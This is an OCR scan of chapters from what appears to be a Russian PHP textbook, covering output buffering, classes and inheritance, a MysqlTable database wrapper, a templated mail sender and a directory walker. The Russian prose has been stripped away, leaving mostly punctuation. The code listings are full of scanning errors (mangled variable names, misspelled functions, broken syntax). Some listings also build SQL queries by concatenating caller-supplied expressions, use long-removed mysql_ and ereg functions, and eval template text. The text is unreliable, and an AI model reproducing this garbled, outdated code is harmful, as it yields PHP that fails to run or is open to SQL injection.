ob_end_ciean ( ) o b _ s t a r t o .
void ob_end flush()

ob_end_ciean(), , , ,
. , ,
.


"" . , -

30.

451

ob_start ( ) ? , , , -,
.
, .
ob_end_ciean() , "" (,
). :
| 30.15. ""

ob_start ( ) ; // 1
echo "1"// 1-
ob_start(); // 1
echo "2";

// 2

$A[2]=ob_get_contents () ; //
ob_end_clean ( ) ;
echo "1";

// 2
// 1

$A[l]=ob_get_contents ( > ; //
ob_end_clean ( ) ; // . . ,

// ,
foreach($A as $i=>$t) echo "$i: $t<br>";
// :
// 2: 2

// 1: 11

, - :
, . , . , - , "" ob_end_clean ( )

, " ",
. , , .


, , , . , -

452

V.

, , , ( ) . , , .
.
"". , o b _ s t a r t ( ) ,. . , . , 30.15
$ [ 2 ] ,
1, , "
", . :
, , ! ,
, , .
,
"" .
. ,
, - , . , , :
, , , .

31

-

10 -
(), , . . , ( , ,
C++ 98- , Java Delphi)
, 80-
.
- ,
, "" .
, ,
,
. :
" ", ( Unix, Apache, Perl, ) "-" . ,
. ,
, ...
, ,
. , : ,
,
. ,
- : ,
- . , .
, . , . ,
C++.

454

V.


. . , ... (
)
. ( ], . , int . "" ( ),
(, , . .).
C++ , , int
. : (, . .) . , ,
C++ (
int), .
, + , Add ( ) , .
. , .
:
class MyName {


)

, ,
. ,
new:
$0bj = new MyName;

$obj, " "


, MyName.


, .
( , ,
) .
,
- . , MySQL,

31.

455

, $TabieName.
, , - $TabieName .
,
.

: "" (
), "" , ( ).

,
. :
, .
, ,
.
var:
var SpNamel, $pname2, . . . ;
, .
var ,
, .
,
- (, SObj, ). ->:
// Namel $0bj
echo $Obj->Namel;
//
$Obj->Name2="PHP Four";

- (, Subobj)
( ), "":
// Property -
// $SuDOb;j SOb]
echo SObj->SubObj->Property;

,
. , $obj
, .

456

V.

- ,
, .
,
. .


() , .
,
? , , ? ?..
,
, ( ) - (). ,
MySQL, ,
. Drop ( ) ,
.
:
$Obj->Drop(); // $0bj !

, , , .
, Add ( ) ,
, select ( , )
,
. .

MySQL
, . .
, :
class MyClass (
function Method()

31.

_ 457

MySQL. , : ?
MySQL?
, .
, ( ,
. . ).
-, : - MySQL
, , , . ? ,
, "". , , , .
-? ,
. -. , . - ,
- Error.
, (, )
, .
:
class MysqlTable (
var $TableName; //
var $Fields; // . ,
var $Error; //

, , . (, ) .
- ( , ) -.
( 31.1).
^

.
"" . , , , ,
, .
I 31.1.
class MysqlTable {
var $TableName; //

458

V.

var $ Fie Ids; // . ,


var $Error; //
// $Rec. $Rec
// . ,
// $Rec ,
// . . .
// , MySQL ,
/ / "" .
function Add($Rec) { ; }
// ( id , /'/ , ,
// Add) ,
// $. $Num ( ) .
// SOrder.
function Select ($Expr, $Num=lelO, $0rder="id desc") { ; }
// , $.
function Delete ($Expr) { ; }
// (,
// Delete ("1=1") .
// !
function Drop ( ) { ; }

, , . , . . , ,
MySQL ( ,
, ).
, ,
MysqiTabie, , MySQL
SQL, , MysqiTabie,
, SQL.
, (
) ,
, "".
: - ,
, , , .
. , SQL -
, . . SQL, -
.

31.

459



, " " ,
, , . , , :
$0bjl=new Mysqltable;
$Obj2=new MysqlTable;
echo $Objl->TableName, " ", $Obj2->TableName;

, . , , - :
$Objl->Drop() ;

, , ,
, " ". ,
$obji, $obj2. Drop ( ) :
class MysqlTable (
function Drop ()
{ , Drop ( )
-

, Drop . , , MysqlTable. Drop ,


? Drop $obji ,
$obj2 , . - , - ...
, ( , . .
) $this, , . Drop ( ) :
function Drop ( )
{ //
$this->Delete ("1=1") ; //

460

V.

/ /
mysql_query("drop table ".$this->TableName);

Drop sobji->Drop ( ) , $this


, $obji ( sobji),
$ o b j 2 - > D r o p ( ) , $this $obj2. To ,
. ,
: , .
, $this -, . , $obji->Drop ( ) - $this, $objl,
$obj2 .
:
$ArrayOfObjects["obj"]->DoIt( ) ;

.
:
$obj=&$ArrayOfObjects["obj"]; $obj->Do!t();

He & (
), Doit ()
, , , $obj!

,
$obji $obj2 .
,
. , , , , :
"" - MySQL;
;
Fields;
.
, , init :
class MysqlTable {

31.

461

I / - $TblName
function Init (STblName)
{ $this->TableName=$TblName;
$this->Error=0;

$this->Fields
}

}
$0bj=new MysqlTable; $Obj->Init ("test") ;

new init ? - init


( , )? . , ,
init ,
new . , . , , ()
, . :
class MysqlTable {
function MysqlTable ($TblName)
( , Init ;

$0bj=new MysqlTable ("test") ; //

.
test, PHP
. ,
-, .

. , (, ).
, , , " " -- ,
. , - "" , , . , ,
- , , , .

462

V.

.
. .
,
. , , , , ,
. ,
"" ,
. . :
class A {
function TestAO ( . . . }
function Test() { ... }

}
class {
var $a; //
function (__, _)
f $a=new (_ );

}
function TestBO { ... }

function Test () { ... }


}

: . "" , . "", , , , .
, ,
, . ""? :
, , ,
.
.
, , .
" " $ o b j - > a - > T e s t A ( ) ,
$obj->TestB ( ) . , , , -

31. -

463

. ,
.
, .
. , ( ) .
class extends A (
function (__, _)
{ $(:->(__) ;


}
function TestB() { ... }

function Test() { ... }


}

extends ,
"" , .
, , , , "".
" " , . ,
$obj $ o b j - > T e s t A ( ) $ o b j - > T e s t B ( ) . ,
, , , " ". :
, , .
(

: , . , .

? ,
Mysql- Guestbook (
). , Guestbook ,
, MysqiTabie, MysqiTabie:
class Guestbook extends MysqiTabie {
, MysqiTabie

464

V.

( , , , , , z). , .

() , ,
. ,
,
, , , .
.
class A {
// ,
function Test () { echo "Test fromA\n"; }
// Test
function Call() { Test (); }
}
class extends A {

// Test()
function Test () { echo "Test from B\n"; }
}
$a=new A();

$b=new ();

:
$a->Call(); // "Test from A"
$b->Test.(); // "Test from "
$b->Call(); // ! "Test from "!

: ,
Test () , ! , Test Test .
. , , .
, , ""
, , , ,
. , ,
, , . .
Draw , .
-, , ( -

31. -

465

-). ,
, . , , , ,
Draw ( ) "", .
MysqiTabie, - ,
. .
, , ,
.
MysqiTabie . , Guestbook, , MysqiTabie
"" -- ,
,
( ""
). ,
MySQL-, ,
"" -- , HTML- . . ,
.
MysqiTabie
p r e M o d i f y O , , . , Guestbook
, . ,
MysqiTabie "", PreModifyO
,
PreModif ( ) , ( ).

, ,
. ,
. , , - .
,
.

MySQL
, V , ( ) .
"" ,
. ,
MySQL,
,
SQL-. , , -

466

V.

,
. , ,
, , . ,
. .
. , . , , , .
( ). ,
, . . ,
, "" .
/
" ", . . .
/ . , , ( SQL).
id, . .
,
: , , , , . , ,
, , .
(,
).
GetinfoO s e t i n f o t ) . , ( " " ).

(
MySQL ). ,
, . , , .
,
. -

31.

467

, ""
"". ,
,
- ,
. "" ,
, ,
die ( ) . ,
MysqiTabie.
, - ... 31.2 ,
. , MySQL
.
! 31.2. MySQL-

//
//
//
//

MysqiTabie - " " MySQL.


MysqiTabie -
(, CGuestBook) ,
.

// (" ")
define ("DataField", " data ") ;
//******************* *****^
// ,
function Def0(S$st,$def) { if(!isSet($st)[I$st=="") $st=$def; }
// .
function Apostrophe(&$st)
{ $st=str_replace(chr(0),"\\0",$st) ;
$st=ereg_replace("\\\\","\\\\",$st);
$st=ereg_replace('"","\\'",$st);
return $st;
}
// .
function SqlPack(&$obj) { $s=Serialize($obj); return Apostrophs(Ss); }
// ,
function SqlUnpack(&$st) { return Unserialize($st); }

!63. 699

468

V.

/I*** .

//
//
//
//

, ,
, - id (
) _ data _ (
) . ,

// -

// ( "select") ,
//

// / .
class MysqlTable {
/ /***
var $TableName;
//
var $UniqVars;

// (=1, =1 . . . )

var $Index;

// (=1, =1 . . . )

var $Fields;

// (=, =. . .)

var $Error;

// {"", )

var $JustCreated; // 1, ,
//***

// , ,
// .
function _PackFields(&$Hash).
{ $Data=array ( ) ;
foreach($Hash as $k=>$v) if ($k!=DataField)
if (lisSet ($this->Fields[$k] ) ) $Data[$k] =$v;
return Serialize ($Data) ;

//
// ( ) . ,

// ""
// (, )
// .
// , , -
// SDN, " ",
// ".. " .
// 0, .
function PreModify (&$Rec) ( return 1; }

31. -

469

// ,
// . ,
// "" .
// ,
// STM- "..", "
// ",
function PostSelect(&$Rec) { return; }
//

function GetTableName() { return $this->TableName; }


// select.
// () , , GetResult().
// $ - SQL,

// $0rder - ( - id)
function TableSelectQuery($Expr="",$0rder="id desc")
{

$this->Error="";
if(!$Expr) $Expr="l=l";
$r=mysql_query("select * from ".$this->TableName.
" where ($Expr) and (id>l) order by $0rder");
if(!$r) { $this->Error=mysql_error(); return; }
return $r;

}
function SelectQuery($Expr="",$0rder="id desc")
{

return $this->TableSelectQuery($Expr,$Order); }

// select (,
// ) (!) .
// SelectQuery() , ,
// GetResult, . ""
// . : ,
// . , "".
// ( SelectQuery)
// - Select(),
// !
function TableGetResult($r)
{

$this->Error="";
//
if($r)

$Result=mysql_fetch_array($);

else $this->Error=4tiysql_error ( ) ;

470

V.
if(!@is_array($Result)} return;
// $Hash
$Hash=array();
foreach($this->Fields as $k=>$i)
i f ( i s S e t ( $ R e s u l t [ $ k ] ) ) $Hash[$k]=$Result[$k];
//
$Hash+=SqlUnpack($Hash[DataField]); unSet($Hash[DataField]);
$this->PostSelect($Hash);
//
return $Hash;

}
function GetResult($r) { return $this->TableGetResult($r); }

// : , GetResult
// TableGetResult(),
// MysqlTable,
// . ,
// .
// mysql__rium__rows ()
function GetNumRows($r) { return mysql_num_rows($r); }
// mysql_data_seek().
// $ "" $to,
// GetResult() ,
function DataSeek($r,$to) { return mysql_data_seek($r,$to); }
// $Name. '
//

$Fields - .

// . ,
// , ,
// . : -
// - . $Fields - ,
// , , .
// : -
// , ,
// (, ).
// : - , ,
/ / $Fields
// ,
// ( ).

31. -

471

// : $Fields ,
// , , ,
// / /
// distinct.
//

$ Index - .

// ,
// (, , ). -
// , - "" (0, ,
// )
function MysqlTable($Name,$Fields="",$Index="")
{

$this->TableName=$Name; $this->Error="";
if(is_array($Fields)) {
foreach($Fields as $k=>$v)
if(leregi("not null",$v)) $Fields[$k]=$v." not null";
$Fields=array("id"=>"int auto_increment primary key")
+$Fields+array(DataField=>"mediumblob");
}
Def0($Index,array());

//
$this->Fields=array(DataField=>"mediumblob");
$Data=$this->TableGetResult(
mysql_query("select ".DataField." from $Name where id=l")
);
// , .

// ,
// , , .
if(@is_array($Data) ) {
if(!is_array($Fields)) {
$this->Error="Couldn't create table: no fields specified";
return;
}
DefO($Data["Fields"],array());

DefO($Data["Index"],array());
//** , - . alter table.
//1. ?
$Lst=array();
foreach($Fields as $k=>$v) {
i f ( l i s S e t ( $ D a t a [ " F i e l d s " ] [ $ k ] ) ) $Lst[]="add $k $v";
else i f ( $ D a t a [ " F i e l d s " ] [ $ k ] ! = $ v ) $Lst[]="change $k $k $v";

472

V.
1/2. ?
foreach($Data["Fields"] as $k=>$v)
if(!isSet($Fields[$k])) $Lst[]="drop $k";
//3. ?
foreach($Index as $k=>Sv) if(!isSet($Data["Index"] [$k]})
$Lst[]="add index index_$k ($k".($v!=0?" ($v)":"").")";
//4. ?
foreach($Data["Index"] as $k=>$v)
if(lisSet($Index[$k])} $Lst[]="drop index index_$k";
if(count ($Lst)) {
PrintDump($Lst);
if(!mysql_query("alter table $Name ".implode($Lst,","))) {
$this->Error=mysql_error();
return;

}
$Changed=l;
}
$this->JustCreated=0;
} else {
// .
// BugFix by DM:
// Error,
// .
$this->Error="";
$Lst=array();
foreach($Fields as $k=>$v) $Lst[]="$k $v";
foreach($Index as $k=>$v)
$Lst[]="index index_$k ($k".($v!=0?" ($v)":"").")";
if(!mysql_query("create table $Name (".implode($Lst,",").")")) {
$this->Error=mysql_error();
return;

}
$this->JustCreated=l;

}
// ,
if(!empty($Changed) I I$this->JustCreated) {
$Data["Fields"]=$Fields;
$Data["Index"]=$Index;
DefO($Data["Info"],array());
$Data=SqlPack($Data);

// -

31.

473

if ($this->JustCreated) {
$Result=mysql_query ("insert into $Name (id, " .DataField. ")

values (1, '$Data' ) ") ;


} else {
$Result=mysql__query ("update $Name set ".DataField.

"='$Data' where id=l");


}
if(!$Result) { $this->Error=mysql_error ( ) ; return; }

}
$this->Fields=$Fields ;
$this->Index=$ Index;

// , .
//

// GetlnfoO, . ,
// , -
// - , . $Inf // .
function TableSetInfo($Inf )
(

$this->Error="";
//
$r=mysql_query ("select ".DataField." from ".
Sthis-XTableName." where id=l");

if ( ! ($Data=$this->GetResult ($r) ) ) return;


// Info
$Data["Info"]=$Inf;

$Data=SqlPack($Data) ;
//
if ( !mysql_query ("update " . $this->TableName.
" set ".DataField. "='$Data' where id=l"))
{ $this->Error=mysql_error () ; return; }
return 1 ;

}
function Setlnfo($lnf) { return $this->TableSet!nfo (&$Inf ) ; }
// ,
// Setlnfo. , .
function TableGetlnfoO

V.

474
{

$this->Error="";
//
$r=mysql query("select * from ".$this->TableName." where id=l");
// - , GetResult Error
if(!($Data=$this->GetResult($r))) return array();
if(!@is_array($Data["Info"])) $Data ["Info"]=array();
return $Data["Info"];

}
function GetlnfoO { return $this->TableGet!nfo(); }
// . !
// !!!
function TableDrop()
{

$this->Error="";
if{!mysql_query("drop table ".$this->TableName) ) {
$this->Error=mysql_error();
return 0;

}
return 1;

}
function DropO { return $this->TableDrop(); }
// $Rec (
// ) .
// id, , ,
// ( ). 1
// , $Rec
// .
function TableAdd(&$Rec)
{

$this->Error="";
if(!$this->PreModify($Rec)) return 0;
// . .
$Rec[DataField]=$this->_PackFields($Rec);
//
$LNames=$LVals=array();
foreach($this->Fields as $name=>$type) {
$LNames[]=$name;
$LVals []="'".Apostrophs($Rec[$name] ) . '"";

31. -
$LNames=implode($LNames,", ") ;
$LVals=implode($LVals,", ") ;
unSet($Rec[DataField]);
//
if(!mysql_query("insert into ".$this->TableName.
"($LNames) values($LVals)")}
{ $this->Error=mysql_error() ; return 0; }
$Rec [ "id" ] =mysql__insert_id () ;
$this->PostSelect($Rec) ;
return 1;
}

function Add(&$Rec) { return $this->TableAdd(s$Rec); }


// , $.
// : $Tbl->Delete("(id=$id) or (id=0)");
function TableDelete($Expr)
{

$this->Error="";
if(!mysql_query("delete from ".$this->TableName.
" where ($Expr) and (id>l)"))
( $this->Error=mysql_error(); return 0; }
return 1;

}
function Delete($Expr) { return $this->TableDelete($Expr); }

// ( - id, - ).
// $Num .
// PostSelectO !
function TableSelect($Expr="",$Num=100000,$Order="id desc")
{

$this->Error="";
//
$r=$this->SelectQuery($Expr,$0rder); if(!$r) return 0;
//
for($i=0,$Found=array(); $i<$Num&&($Rec=$this->GetResult($r)); $i
$Found[$Rec["id"]]=$Rec;
return SFound;

}
function Select($Expr="",$Num=100000,$Order="id desc")

return $this->TableSelect($Expr,$Num,$0rder); }

475

V.

476

//
//
//
//
//
//
//

, $Upd
, .
, .
id ( $id ,
$Upd["id"]) , !
, $Upd id ( ,
).

// $id.
// , id HE (
// , id )!

function TableUpdate(&$Upd,$id=0)
{

$this->Error="";

// $id,
if($id) $Upd["id"]=$id;
// . .
$r=$this->SelectQuery("id=".$Upd["id"]);
$Rec=$this->GetResult($r);

// , , -
//
if(!$Rec) { $this->Error="NotExists"; return 0; }

// - .
//
$Rec=$Upd+$Rec; $Upd=$Rec;
if(!$this->PreModify($Rec)) return 0;
$Rec[DataField]=$this->_PackFields($Rec) ;

//
$Lst=array();
foreach($this->Fields as $name=>$type)
$Lst[]="$name='".Apostrophs($Rec[$name])."'";
$Lst=implode($Lst,",");
//
iff!mysql_query("update ".$this->TableName.
" set $Lst where id=".$Rec["id"]))
{ $this->Error=mysql_error(); return 0; }
$this->PostSelect($Rec);
return I;
}

function Update(&$Upd,$id=0) { return $this->TableUpdate(&$Upd,$id); }

31.

477

// - , $.
// , .
function TableGetCount ( $Expr=" " )
{

$this->Error="";
if(!$Expr) $Expr="l=l";

$r=qnysql_query ("select count (if ( ($Expr) and (id>l) , 1,NULL) ) from ".
$this->TableName) ;
if(!$r) { $this->Error=mysql_error () ; return 0; }
$a=mysql_fetch_array ($r) ;
return $a [0] ;

}
function GetCount ($Expr="") { return $this->TableGetCount ($Expr) ; }
// $ field
// , $.
// : , $ field
// $Fields .
/ / .
// $field .
function TableGetDistinct ($field, $Expr="")
{

$this->Error="";
if(!$Expr) $Expr="l=l";
$r=mysql_query ("select distinct $field from ".
$this->TableName. " where ($Expr) and (id>l)");
// distinct HE order by! - . . .
if(!$r) { $this->Error=mysql_error () ; return 0; }
for ($Arr=array (} , $i=0, $n=mysql_num_rows ($r) ; $i<$n; $i++)
$Arr []=raysql_result ($r,$i,0) ;
return $Arr;

}
function GetDistinct ($field, $Expr="")
{ return $this->TableGetDistinct ($f ield, $Expr) ; }
}; //

( 31.3). :
(
, ) .

478

V.

\ 31.3. MysqlTabl

<?
include "Librarian.phi"; // (. 29)
Uses("MysqlTable"}; //
//
mysql_connect("localhost");
mysql_select_db("test");
//
$t=new MysqlTable("test",array("t"=>"int"));
//
$d=array("t"=>time());
$t->Add($d);
//
$Inf=$t->GetInf();
$Inf["a"]=@$lnf["a"J+l;
$Inf["b"]=@$Inf["b"]+10;
echo $Inf["a"]," ",$Inf["b"],"<br>";
$t->SetInfo($Inf);
//
$d=St->Select ;
foreach($d as $id=>$Data) {
echo "Sid: ".$Data['t']."<br>";

(, ,
), . ,
.


, , (
, ?), . , $ $=$,
$ $ --. ,

31. -

479

, ,
. , , :
$0bjl=new MysqiTabie("test");
$0bj2=$0bjl;
$Objl->Drop() ;

- sobji ,
, , $obj2
"". $obj2 - "", "
" , test,
- .
, , . ,
.
. .


, , . , ,
. , , , MysqiTabie? , . . , ""
MySQL. , , ,
, .
M y s q i T a b i e , . .
, ,
G e t i n f o O s e t i n f o t ) . G e t i n f o O
MySQL,
. , ""
G e t i n f o O . ,
,
? MysqiTabie Setinf ( ) .

""
MySQL, "" .

480

V.

MysqlTable ,
, .

, , , . , :
$tl=new MysqlTable ("MyT able" ) ;

function Dolt($t)
{ $t->Set!nfo ("This is the new info!");

$t=new MysqlTable ("MyTableName") ;


$t->Set!nfo ("Data") ;
Dolt ($t) ;
$Inf=$t->GetInfo () ; // $Inf Data!

,
, :
function

Dolt(&$t)

( $t->SetInfo("This is the new i n f o ! " ) ;


}

, .
( , ) .
, ""
( ), "" ( ). .
. , , MysqlTable ,
. ,
,
MysqlTable , -
(, ).
, .
. , -
, ,
, ,
MysqlTable. , , -

31. -

481

, , . ,
mom , .
^~~
, : , new ? : " , ,
". new
, , , .
, .
- " ",
. ,
.

, "
, ... ".
MysqlTable ""
, . , , !


4
. , III ,
(), ?.. .
( )
( 31.4):
I 31.4.
// . ,
// .
$Tables=array();
// () ,
// MySQL . ,
function SOpenTable($name,$Fields="")
( global $Tables;
if(llsset($Tables[$name]))

482

V.

$Tables[$name]=new MysqlTable($name,$Fields);
return $Tables[Sname];

// .
$ 1 = & ("") ; //
$2=& ("OtherTable") ; //
$TblEqualsTol=&OpenTable(""); // !
// $1 STblEqualsTol .
// $1 $TblEqualsTol,
// .


. .
& ( ),
, .
, ,
, , . , ,
&
, !
, , $ "" =. &, .
, ,
. , , , .
? , . ,
,
, . , (
) .

, - . ,
. , , , , .

31. -

483

"" (, +, CORBA)
, Java. C++
. ? ,
. - , , , .
, . , . , ,
. ? ,
?.. ( , , , ). ,
. ,
( , , MysqiTabie), ( ).
,
( ). ,
( )
( ),
( ). , ,
- (-), ( ),
, .
, ( ) ,
, ( ).
, "" -
- ( ). , , - ( ).
( -), (
) ( "
", ).

, ? , , . . "
, , MysqlTable, . . ,
, . , ,
"" -, .

484

V.
, ,
. ,
. , . -
. "
", ".

, : MysqiTabie , . . iMysgi, .
, KysqiTable,
, "" . , , ,
iMysqi. MysqiTabie,
Drop ( 31.5):
I 31.5. MySQL
// -,
$GLOBALS["Tables"]=array(); //
// . - .
// ,
// .
class MysqiTabie {

// . . .
function MysqiTabie($name) { echo "MysqiTabie($name)<br>"; }
function DropO { echo "Drop()<br>"; }

}
// -
class IMysqi {
var $id; // (MysqiTabie) $Tables
// $name.
// ,
// , .
function IMysqi($name)
{ global $Tables;
$this->id=$name;
// $name ,
if(!isset($Tables[$name])) $Tables[$name]=new MysqiTabie($name);
//

31, -

485

// .
function Drop() { $obj=S$GLOBALS['Tables'][$this->id]; $obj->Drop(); }
}
//

$m=new IMysql("TestTable"); //
$m=new IMysql("TestTable"); // !
$m->Drop(); //

^~ "
, , "". , IMysql .
"" , , ,
IMysql . , , , . , "-", , ...

, , -,
,
. , IMysql, ,
"" . .
-: - (,
MysqlTabieimpi ), - ,
IMysql.

, -
, , . -
IMysql MysqlTabie,
, "" . , + Queryinterface .
(
IMysql "" MysqlTabie, !), .
, (
...), .

32

-"-^L

20
PHP-. ,
FostMaiio ""
, .
, .

-
, , ( ) . , From
, : " !".
" " -- , , . .
.
<? ?> echo
print, . :
"", -,
? , ,
(
- s t a r t o f M a i i , P o s t M a i i o ) :
: "<?=$Name?>" ?=$email?
Subject: <?=$Subject?>
-StartOfMail .
<?=$Name?>!
.
, .

3,
. , 4 : "" ( 30).

32.

487

PostMaiio "-" - - , ""


, .
, , ExpandTemplate ( 32.1). , ,
.
j 32.1. : Minitempiate . phi

// .
// "" $ tempi. ,
// $Vars,
// . $Vars===false,
// $GLOBALS (

// ) . $ReadFile ""
// , $templ , ,
// .
// : $Vars , . .
// ,
/ / .
function _RunTemplate ($tmpl, $ReadFile, &$Vars)
{ //
ob_start ( ) ;
// $Vars , $GLOBALS.
// -,
// , .
if ($Vars===false) $Vars=S$GLOBALS;
// .
// .
foreach($Vars as $k=>$v) $$k=&$Vars [$k] ;
// include, eval ( ) .
if ($ReadFile) { include $templ; }
else eval ( "?>$templ;<?"} ;
//
$MTResult=ob_get_contents ( ) ;
ob_end_clean ( ) ;
//
return $MTResult;

V.

488

I / "" ,
// $fname. $Vars
// ( ) .
function ExpandFile ($fname, $Vars=false)
{ return _RunTemplate ($fname, true, $Vars) ;

II "" , $tmpl.
// , , ExpandFile ()
// , .
function ExpandTemplate ($tmpl, SVars=false)
{ return _RunTemplate ($tmpl, false, $Vars) ;

""

ExpandTemplate () ExpandFile ( ) ?
ExpandTemplate ( ) ,
?
. , , include,
. eval ( ) , , . , , ExpandFile ( ) .


PostMaiio,
,
. :
From , ;
;
Content-type,
"" ;
-, .
32.2 . , ( 29). , Miriitemplate .phi.

32.

! 32.2. PostMail () : Mail.phi


<?
Uses("Minitemplate");

// .
define("DefaultCode","w");
// $st,
// $from $to. :

// wfindows]
// k[oi8-r]
// m[ac]

windows-1251
- koi8-r
- x-mac-cyrillic

// i[so]

- iso-8859-5

//
//
//
//
//

t[ranslit] translit ("" "" )


: .
$from "t",
( ).
, -

// .

// .
function EncodeString($st,$to,$from=DefaultCode)
{ //
$from=strtolower(substr($from, 0,1));
$to =strtolower(substr($to, 0,1));
//
if($to!="t") return convert_cyr_string($st,$from,$to);
// Translit,
// "" strtr().

// "" .
$st=strtr($st, "",
"abvgdeeziyklmnoprstufh'ie") ;
$st=strtr($st,"",
"ABVGDEEZIYKLMNOPRSTUFH'IE");

// "".
$st=strtr($st,array(
""=>"", "u"=>"ts", "4"=>"ch", "ui"=>"sh",
""=>"",""=>"",
""=>"", ""=>"",
""=>"2", ""=>"", ""=>"", ""=>"",

489

V.

490

/ / .
return $st;

// Content-tyep charset
// .
global $CoderCharset;
$CoderCharset ["w" ]="windows-1251";
$CoderCharset [ "i" ] ="iso-8859-5" ;
$CoderCharset ["k"] ="koi8-r";
$CoderCharset [ "m" ] ="x-mac-cyrillic" ;
$CoderCharset [ "t" ] ="koi8-r" ;
// ( From: . .) .
def ine ("MailDivider", "-StartOfMail") ;
// $msg $to,
// SencTo.
// charset (
// ": ",
// ": <vasya@pupkin. ru>") .
// Win32, , ,
// .
// ,
// -StartOfMail.
function SendMail ($to, $msg, $encTo=DefaultCode, $encFrom=DefaultCode)
{ global SCoderCharset;
/ /
$msg=EncodeString ($rnsg, SencTo, $encFrom) ; //
$head="";

//

// , .
if (strpos ($msg,MailDivider) !==false) {
$regs=split (MailDivider. "\r?\n?", $msg, 2) ; //
$head=trim($regs [0] ) ;
$msg=$regs [1] ;

32.

/ / . .
if($head) $Lines=split ( " ( \r\n] +", $head) ; else $Lines=array ( ) ;
$HasContType=0;

// Content-type

$chs="charset=$CoderCharset [$encTo] ";


$subject="";
for($i=0; $i<count ($Lines) ; $i+-r) {
$l=&$Lines[$i] ;
// .
// , Content-type ,
// , , // .
if (eregi ("AContent-type: ",$!)) {
if (eregi ("charset *=",$!})
$l=eregi_Replace ("charset *= * [; , \n] +", $chs, $1) ;
else
$1.="; $chs";
$HasContType-f+;

}
// "to"
// . ;/ .
if (eregi ("Ato: ( [\\]*) ", $1, $regs) ) {
$to=trim($regs [1] } . " <$to>";
$1="";

}
// Subiect. PHP
// mail()
// .
// Subject , .
if (eregi ('^subject: ( [\\] *) ", $1, $regs) ) (
$subject=trim($regs [1] ) ;

// Content-type .
if ( !$HasContType) $Lines [ ] ="Content-type: text/plain; $chs"
// .
$head=ereg_Replace ("\n\n+", "\n", join ( "\n", $ Lines) ) ;
// .
$Result=@mail ($to, $subject, $msg, $head) 1=0;,

491

492

V.

// Windows ( ) .
if (getenv ( "COMSPEC" ) ) {
if ( !@is_dir ("debug") ) mkdir ("debug", 0755) ;

5f=fopen (" debug /_debug_mail . txt", "a+") ;


fputs ($,"> to: $to\n") ;
fputs (Sf, "$head\n

-\n") ;

fputs ($f , "$msg\n

\n\n" ) ;

fclose($f) ;

}
return $Result;

// PostMailO "" $msg,


// $Vars (.
// ExpandTemplate ( ) ExpandFile ())
// , $ (
// SencFrom) ,
// $to. $msg

// file:, ,
// ExpandFile () .
// $msg,
function PostMail ($to, $msg, $encTo=DefaultCode,
$Vars=false, $encFrom=DefaultCode)
( if (eregi (""file: (.*) (\n|\$) ",$msg,$P) )
$Text=ExpandFile (trim($P[l] ) ,$Vars) ;
else
$Text=ExpandTemplate (Smsg, SVars) ;
// .
return SendMail ($to, $Text, $encTo, $encFrom) ;

Encodestring ( ) ,
.

"" ( "")
, "" -

32.

493

. , vot stroka,
zapisannaya translitom.
Unix, "" .

.
, ,
:
_I |timestamp_noflriMCKM|

,
""
. , SNews.
( 32.3):
32.3. "" : mail. txt
Content-type: text/plain
From: <subscribe@ourserver . ru>
To: <?=$User [ 'name' ] ?>.
Subject:
Content-type: text/plain
-StartOfMail
<?=$0ser [ 'name ' ] ?>!
<?=date ("d. m. Y", $User [' time '])?>
.
<?foreach($News as $k=>$v) { ?>
<?=WordWrap($v, 60) ?>.

, . $user ( ) $News ( ), . ,
.
content-type
. , 20, -

V.

494

, ""
.
, . ?
, ?>,
, \. , ,
, , . , ?> . -, ,
, .
, , , 60 ,
wordwrap ( ) . 12 .
32.4 , , , .
: 32.4.

// "" .
include "$DOCOMENT_ROOT/php/Librarian.phl";
// PostMailO
Uses ("Mail" ) ;

// . . .
// $News,
// .

// .
/ / .
$F=File ("db.txt") ;
foreach ($F as $s) {
$User=explode (" I ", trim($s) ) ;
// .
$User=array (
"name"

=> $User [0] ,

"email" => $User[l] ,


"time"

=> $User [2] ,

"encode" => $User[3]

32.

405

);
// maii.txt
// , .
PostMail ($User [ 'email ' ] , "file: mail. txt", $User [ 'encode' ] ) ;

,
PostMail . , .
$user $News , , .
. , attachmenfoB ( "
"), , "",
.
M a i l . p h l , "".
, :
, - , .

33



, .


- , . ,

(, 10 ), . php.ini. , , Web, .

. ,
, . , , , -, . ,
.
, ?
, ,
. , ,
, . , ,
,
, , . ,
, , .
"" , . (
), ,
-.

33.

497

,
, , , 2- . , ,
"" .
, ,
, .
.
w a i k s i t e t ) , . 33.1
, . ""
, . -, "" ,
(, , . .), w a i k s i t e
, ,
, ,
. , (
) ,
,
, .
33.1. : siteWalker .phi

//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//

.
,
$cache. , ,
, $Root.
$time ( 0,
).
,
$Func.
: function FWalker(string $fname, array &$Result)
$fname
$Result
( ). $Result

.
true, ,
false, .

498

V.

function WalkSite ($Root, $Func, $cache, $time, &$Result)


{ $Start=time (} ;
// .
// SRoot .
$Prg=array (
"Todo" => array ($Root) , //
"Res"

=> array

//

);
// . ,

if ($f=@fopen($cache, "rb") ) {
if (@flock($f,LOCK_SH) ) {
$Prg=Unserialize (f read ($f , filesize ($cache) ) ) ;
f c l o s e ($f ) ;

//
// .
// $Prg['Res'],
// . , ,
// "" .
do (

/ /
$fname=array_shift ($Prg[ 'Todo' ] ) ;
// ,
if ( ! @is_file ($fname) && ! @is_dir (Sfname) ) continue;
// ,
if (@is_dir ($fname) ) {
$FiIes=array ( ) ;
for ($d=openDir($f name) ; $e=readDir ($d) ; ) {
if ($e=". " I |$e==". . ") continue;
$Files[]="$fname/Se";
}

closeDir ($d) ;
// ,
//
1

$Prg[ 'Todo ]=array_merge($Files,$Prg[ 'Todo' ] ) ;

33.

499

//
$Func($fname,$Prg['Res1] ) ;
// , ,
// .
} while (time () -$Start<$time && count ($Prg[ 'Todo' ]));
// $Result.
$Result=$Prg['Res'] ;
// , .
if (count ($Prg[ 'Todo'] ) ) (
// . .
$f=fopen($cache, "+") ;
f lock ($f , LOCK_EX) ;
ftruncate($f,0) ;
fwrite ($f , Serialize ($Prg) ) ;
fflush($f); f close ($f);
return true; //
}

// . .
@unlink($cache) ;
return false;

, , , . "" W a i k s i t e O . 33.2 "" .


,
, .
\ 33.2. WalkSite ( ) ; demo . php

// "" .
include "$DOCUMENT_ROOT/php/Librarian.phl";
// WalkSite .
UsesC'SiteWalker") ;
// .
173. 699

500

V.

//
/ / SResult ( ) .
function Walk($fname, &$Result)
{ //
print ">$fname<br>";
//
$Result []="Sfname: <b>" . f ilesize ($fname) ."</b>";

// WalkSite ( ) false, , .
if ( !WalkSite($DOCUMENT_ROOT, "Walk", "map", 0, $Result) ) {
// ,
// Walk ( ) .
// HTML- ,
// $Result.
